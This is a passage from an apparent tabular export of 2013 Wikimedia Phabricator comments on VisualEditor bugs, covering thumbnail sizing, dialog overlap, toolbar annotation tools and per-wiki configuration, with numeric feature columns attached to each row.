This means that some images, particularly tall thin ones such as full-length portraits, get rendered at very different sizes in VE edit mode to view mode, with consequential impact on the layout of surrounding content.",,,1380667642,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-pwct3nalejruvwpszxyi,task_subcomment,,True,c1,3,False,,,13,,1.0,0.0,1.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,1.0,4.0,17.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,5.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,29.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,5.0,1.0,4.0,9.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,17.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,4.256410256410256,0.7948717948717948,"User preference and wiki-default sizes specify the maximum width of an image, regardless of dimensions or aspect ratio, but VE scales the images to fit in a 190px by 212px box.

This means that some images, particularly tall thin ones such as full-length portraits, get rendered at very different sizes in VE edit mode to view mode, with consequential impact on the layout of surrounding content."
210481,"VisualEditor: ""Thumb"" images should display in wiki default thumb size",*** Bug 52487 has been marked as a duplicate of this bug. ***,,,1380666480,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-pwct3nalejruvwpszxyi,task_subcomment,,True,c1,3,True,,,13,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 52487 has been marked as a duplicate of this bug. ***
210476,"VisualEditor: ""Thumb"" images should display in wiki default thumb size",Confirmed with Gabriel (Parsoid team) that this [should|is going to be] solved in VE.,,,1368216779,,PHID-USER-s7sn3zjthnxvep34c5ho,False,,,PHID-TASK-pwct3nalejruvwpszxyi,task_subcomment,,True,c1,1,False,,,-8,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,21.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,21.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,3.789473684210526,1.0,Confirmed with Gabriel (Parsoid team) that this [should|is going to be] solved in VE.
210472,"VisualEditor: ""Thumb"" images should display in wiki default thumb size","Created attachment 12197
Screenshot in edit mode with smaller thumbnail

**Attached**: {F10385}",,,1367185755,,PHID-USER-3uecblbxq24ycewm2cog,False,,,PHID-TASK-pwct3nalejruvwpszxyi,task_subcomment,,True,c1,1,False,,,-10,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,4.095238095238095,0.8571428571428571,"Created attachment 12197
Screenshot in edit mode with smaller thumbnail

**Attached**: {F10385}"
49786,"VisualEditor: ""Review your changes"" pop-over overlaps sidebar in monobook skin","Review your changes

See screenshot.

--------------------------
**Version**: unspecified
**Severity**: minor

**Attached**: {F10352}",Low,25.0,1367136660,1370298813.0,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,False,PHID-TASK-fs4ayby7t52qjcroab4t,task_description,declined,True,c1,1,True,False,True,-10,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6285714285714286,0.5428571428571428,"Review your changes

See screenshot.

--------------------------
**Version**: unspecified
**Severity**: minor

**Attached**: {F10352}"
209269,"VisualEditor: ""Review your changes"" pop-over overlaps sidebar in monobook skin",Meh. I guess I'll never use VE.,,,1370328889,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-fs4ayby7t52qjcroab4t,task_subcomment,,True,c1,1,True,,,-4,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,20.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,40.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,20.0,0.0,20.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,0.8,Meh. I guess I'll never use VE.
209263,"VisualEditor: ""Review your changes"" pop-over overlaps sidebar in monobook skin","Exactly what is the problem? The fact that the VisualEditor dialog overlaps the Monobook sidebar, or that the searchbox/logo in the Monobook sidebar overlap the VisualEditor dialog?

The VisualEditor dialog overlapping is pretty much inevitable since it has a minimum width. If your screen is too narrow it has no where to go (short of a scrollbar, which I think give a worse user experience).

If it were always overlapping it would be a more pressing problem, but right now it only overlaps if you activate the review dialog, in which case your focus is more likely to be on the dialog than on the sidebar (e.g. if we need to choose, it is the obvious choice).",,,1370298705,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-fs4ayby7t52qjcroab4t,task_subcomment,,True,c1,1,True,,,-4,,0.5,0.0,0.0,0.0,0.0,5.0,4.0,0.0,0.0,2.5,2.0,0.0,0.0,0.5,0.0,1.0,1.0,7.5,10.0,0.0,2.0,0.0,0.5,0.0,0.5,0.0,0.5,0.0,0.0,0.5,0.0,8.5,0.5,4.0,0.0,2.0,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,0.5,13.5,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,9.5,5.0,5.5,4.5,1.0,11.0,0.0,0.0,0.0,0.0,2.5,0.0,0.0,0.0,7.0,10.0,2.5,1.0,0.0,0.0,7.0,0.0,2.0,2.5,0.0,0.5,2.0,0.0,0.0,4.056738366988586,0.718612818261633,"Exactly what is the problem? The fact that the VisualEditor dialog overlaps the Monobook sidebar, or that the searchbox/logo in the Monobook sidebar overlap the VisualEditor dialog?

The VisualEditor dialog overlapping is pretty much inevitable since it has a minimum width. If your screen is too narrow it has no where to go (short of a scrollbar, which I think give a worse user experience).

If it were always overlapping it would be a more pressing problem, but right now it only overlaps if you activate the review dialog, in which case your focus is more likely to be on the dialog than on the sidebar (e.g. if we need to choose, it is the obvious choice)."
49780,VisualEditor: Tools to set/unset text with annotations (tracker),"Given that these all exist in DM, it's ""just"" a question of making a set of icons for each function and adding it to the tool bar (and then working out what to do with a toolbar with eight such icons when we wanted two.

Have left off from the existing list in ve.dm.TextStyleAnnotation.js:

* span - as that'll need to be a distinct bug given the complexity (it'll need at least an inspector, possibly a dialog)
* strong/em - should we just silently use these instead of b/i (or vice versa)? Either way, it feels confusing to give the user both options.

--------------------------
**Version**: unspecified
**Severity**: enhancement",Low,25.0,1367087820,1422405518.0,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-TASK-nkytk4yj27kjhhclg73g,task_description,declined,True,c1,1,True,True,False,-10,,1.0,0.0,0.0,0.0,0.0,4.0,0.5,0.0,0.0,0.0,2.0,1.0,0.0,0.0,0.0,2.0,0.0,6.5,9.5,0.0,1.5,0.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,1.0,0.0,3.0,0.5,2.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.5,0.0,0.0,0.0,0.0,0.0,8.0,0.5,1.5,0.0,1.0,0.0,0.0,0.0,0.5,0.5,0.0,0.5,0.0,0.0,0.5,0.5,0.0,0.0,6.0,0.5,3.5,1.0,1.5,10.0,0.0,0.0,0.0,0.0,3.0,0.0,1.5,0.0,4.5,9.5,2.0,0.5,1.0,0.0,4.5,0.0,1.0,3.5,0.0,2.0,0.0,0.5,0.0,3.6693302891933026,0.7792047184170472,"Given that these all exist in DM, it's ""just"" a question of making a set of icons for each function and adding it to the tool bar (and then working out what to do with a toolbar with eight such icons when we wanted two.

Have left off from the existing list in ve.dm.TextStyleAnnotation.js:

* span - as that'll need to be a distinct bug given the complexity (it'll need at least an inspector, possibly a dialog)
* strong/em - should we just silently use these instead of b/i (or vice versa)? Either way, it feels confusing to give the user both options.

--------------------------
**Version**: unspecified
**Severity**: enhancement"
403718,VisualEditor: Tools to set/unset text with annotations (tracker),All now in #VisualEditor-EditingTools.,,,1422405518,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-nkytk4yj27kjhhclg73g,task_subcomment,,True,c1,3,True,,,82,,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,38.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,12.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.375,1.0,All now in #VisualEditor-EditingTools.
208851,VisualEditor: Tools to set/unset text with annotations (tracker),Related URL: https://gerrit.wikimedia.org/r/64801 (Gerrit Change I51f2605e7d8e2bab1d641f02244d5cd24f505676),,,1369136660,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-nkytk4yj27kjhhclg73g,task_subcomment,,True,c1,1,False,,,-6,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change I51f2605e7d8e2bab1d641f02244d5cd24f505676)
208846,VisualEditor: Tools to set/unset text with annotations (tracker),"Icons for these are now merged into master; the outstanding work here is relatively light, except for the overall design issue about the toolbar having too many buttons.",,,1369094298,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-nkytk4yj27kjhhclg73g,task_subcomment,,True,c1,1,True,,,-6,,3.0,0.0,0.0,3.0,0.0,13.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,10.0,6.0,3.0,3.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,4.580645161290323,0.9032258064516129,"Icons for these are now merged into master; the outstanding work here is relatively light, except for the overall design issue about the toolbar having too many buttons."
208838,VisualEditor: Tools to set/unset text with annotations (tracker),Related URL: https://gerrit.wikimedia.org/r/64475 (Gerrit Change I2f317e1dda2c2e2fceac401768c732dae02e83ce),,,1368875872,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-nkytk4yj27kjhhclg73g,task_subcomment,,True,c1,1,False,,,-7,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,44.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change I2f317e1dda2c2e2fceac401768c732dae02e83ce)
49679,VisualEditor: Report that the save dialog omits the save description entry box on hewiki/Windows/Firefox,"Cannot reproduce in Firefox/Mac or Chrome/Mac; asking user to reconfirm.

--------------------------
**Version**: unspecified
**Severity**: minor
**Platform**: PC",Low,25.0,1366931820,1367254280.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-xc3udo6fxmbjckxyjow3,task_description,invalid,True,c1,1,True,False,True,-10,,0.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.488372093023256,0.6046511627906976,"Cannot reproduce in Firefox/Mac or Chrome/Mac; asking user to reconfirm.

--------------------------
**Version**: unspecified
**Severity**: minor
**Platform**: PC"
228412,VisualEditor: Report that the save dialog omits the save description entry box on hewiki/Windows/Firefox,I asked the user. he meant to a local script which isn't supported by VE.,,,1367254280,,PHID-USER-u7udgblfyop6qd5wxot6,True,,,PHID-TASK-xc3udo6fxmbjckxyjow3,task_subcomment,,True,c1,1,False,,,-9,,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,6.0,11.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,11.0,6.0,11.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,6.0,0.0,0.0,0.0,11.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,3.2777777777777777,0.9444444444444444,I asked the user. he meant to a local script which isn't supported by VE.
49557,VisualEditor: Clean up the way that VE must be configured per wiki,"As suggested by Timo - currently we have 'wmgUseVisualEditor' and 'wmgVisualEditorParsoidPrefix' which both need to be defined for each wiki we're putting VE on, which is a bit annoying (and prone to mistakes) - when we have all 295 Wikipedias with it switched on, it will be even worse. We should probably clean this up a bit.

--------------------------
**Version**: unspecified
**Severity**: enhancement",Low,25.0,1366731840,1369920023.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-em5ivp4uf7qvneztv3ep,task_description,resolved,True,c1,1,True,False,True,-10,,2.0,0.0,0.0,1.0,0.0,5.0,2.0,0.0,0.0,0.0,1.0,6.0,0.0,0.0,0.0,5.0,0.0,5.0,10.0,0.0,1.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,6.0,0.0,2.0,1.0,0.0,0.0,2.0,2.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,2.0,3.0,8.0,1.0,2.0,9.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,7.0,10.0,3.0,0.0,5.0,0.0,7.0,0.0,3.0,2.0,0.0,1.0,1.0,0.0,0.0,4.046511627906977,0.6976744186046512,"As suggested by Timo - currently we have 'wmgUseVisualEditor' and 'wmgVisualEditorParsoidPrefix' which both need to be defined for each wiki we're putting VE on, which is a bit annoying (and prone to mistakes) - when we have all 295 Wikipedias with it switched on, it will be even worse. We should probably clean this up a bit.

--------------------------
**Version**: unspecified
**Severity**: enhancement"
220589,VisualEditor: Clean up the way that VE must be configured per wiki,This is now done and live in production.,,,1369920023,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-em5ivp4uf7qvneztv3ep,task_subcomment,,True,c1,1,True,,,-5,,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6666666666666665,1.0,This is now done and live in production.
220581,VisualEditor: Clean up the way that VE must be configured per wiki,"(In reply to comment #1)
> We could replace wgUseVisualEditor with a visualeditor.dblist file, and
> change the Parsoid prefixes to be equal to $wgDBname.

$wgUseVisualEditor (or wmgUseVisualEditor) seems fine to me, not sure if a dblist would make things easier.

Getting rid of having to configure wmgVisualEditorParsoidPrefix for each wiki would be great (or at least setting it dynamically/automatically from CommonSettings.php).",,,1369145278,,PHID-USER-sai77mtxmpqnm6pycyvz,True,,,PHID-TASK-em5ivp4uf7qvneztv3ep,task_subcomment,,True,c1,1,True,,,-6,,2.0,0.0,0.0,0.0,2.0,8.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,15.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,2.0,0.0,2.0,3.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,8.0,2.0,3.0,3.0,0.0,0.0,0.0,2.0,7.0,0.0,3.0,0.0,3.0,15.0,2.0,0.0,0.0,0.0,3.0,0.0,0.0,2.0,2.0,5.0,2.0,2.0,0.0,4.524590163934426,0.8032786885245902,"(In reply to comment #1)
QUOTE
QUOTE

$wgUseVisualEditor (or wmgUseVisualEditor) seems fine to me, not sure if a dblist would make things easier.

Getting rid of having to configure wmgVisualEditorParsoidPrefix for each wiki would be great (or at least setting it dynamically/automatically from CommonSettings.php)."
220573,VisualEditor: Clean up the way that VE must be configured per wiki,Related URL: https://gerrit.wikimedia.org/r/64493 (Gerrit Change I621e98da3be4f787e294d97b350b92d217f43a00),,,1368896205,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-em5ivp4uf7qvneztv3ep,task_subcomment,,True,c1,1,False,,,-7,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,44.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change I621e98da3be4f787e294d97b350b92d217f43a00)
220563,VisualEditor: Clean up the way that VE must be configured per wiki,"(In reply to comment #1)
> We could replace wgUseVisualEditor with a visualeditor.dblist file, and
> change the Parsoid prefixes to be equal to $wgDBname.

That sounds like a start, but we're going to want to run some wikis in nothing (no preference to switch on - just not in the .dblist file?), some in alpha (opt-in, limited namespaces) and some in beta (default, all ""content"" even-numbered namespaces that won't break - e.g. MediaWiki:, Template:, Schema:, ? others). Would we want two .dblist files? And some magic juice to decide what namespaces were safe?",,,1368770741,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-em5ivp4uf7qvneztv3ep,task_subcomment,,True,c1,1,True,,,-7,,3.5,0.0,0.0,0.0,1.5,3.5,1.0,0.0,0.0,0.0,4.5,1.5,0.0,0.0,0.0,1.5,0.0,3.5,7.5,0.5,3.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,1.0,1.0,0.5,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,14.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,2.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,1.0,1.0,1.0,6.5,0.0,2.5,5.5,0.0,0.0,0.0,0.5,4.5,0.0,1.5,0.0,1.5,7.5,2.0,3.0,2.0,0.0,1.5,0.0,2.0,0.5,0.0,0.5,0.0,0.0,0.0,3.3909090909090907,0.7454545454545455,"(In reply to comment #1)
QUOTE
QUOTE

That sounds like a start, but we're going to want to run some wikis in nothing (no preference to switch on - just not in the .dblist file?), some in alpha (opt-in, limited namespaces) and some in beta (default, all ""content"" even-numbered namespaces that won't break - e.g. MediaWiki:, Template:, Schema:, ? others). Would we want two .dblist files? And some magic juice to decide what namespaces were safe?"
220552,VisualEditor: Clean up the way that VE must be configured per wiki,"We could replace wgUseVisualEditor with a visualeditor.dblist file, and change the Parsoid prefixes to be equal to $wgDBname.",,,1368770161,,PHID-USER-fovtl67ew4l4cc3oeypc,True,,,PHID-TASK-em5ivp4uf7qvneztv3ep,task_subcomment,,True,c1,1,False,,,-7,,0.0,0.0,0.0,0.0,0.0,10.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,14.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,5.0,10.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,5.0,14.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.142857142857143,0.9523809523809523,"We could replace wgUseVisualEditor with a visualeditor.dblist file, and change the Parsoid prefixes to be equal to $wgDBname."
49508,VisualEditor: Always submit Parsoid bugs over https,"Please write your bugs report to http://parsoid.wmflabs.org/_bugs/ only with https to avoid a secure hole.

Please see this as a blocker for the coming roll out. Thanks.

--------------------------
**Version**: unspecified
**Severity**: normal",Low,25.0,1366641360,1370629791.0,PHID-USER-a6jwrurphpx6yl4coupk,False,,False,PHID-TASK-zdwyyiwstl6uz4rcbn5g,task_description,invalid,True,c1,1,False,False,True,-10,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,12.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,12.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,6.0,4.0,0.0,0.0,2.0,12.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,3.795918367346939,0.6938775510204082,"Please write your bugs report to URL only with https to avoid a secure hole.

Please see this as a blocker for the coming roll out. Thanks.

--------------------------
**Version**: unspecified
**Severity**: normal"
217569,VisualEditor: Always submit Parsoid bugs over https,"We're scrapping this feedback system, so marking as INVALID.",,,1370629791,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-zdwyyiwstl6uz4rcbn5g,task_subcomment,,True,c1,2,True,,,-4,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,8.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,4.333333333333333,1.0,"We're scrapping this feedback system, so marking as INVALID."
217567,VisualEditor: Always submit Parsoid bugs over https,"Comment from bug 47507 comment 1:

| No data goes over the wire that is personally-identifying, so I would
| disagree that this is a blocker; however, yes, this is good practice and we
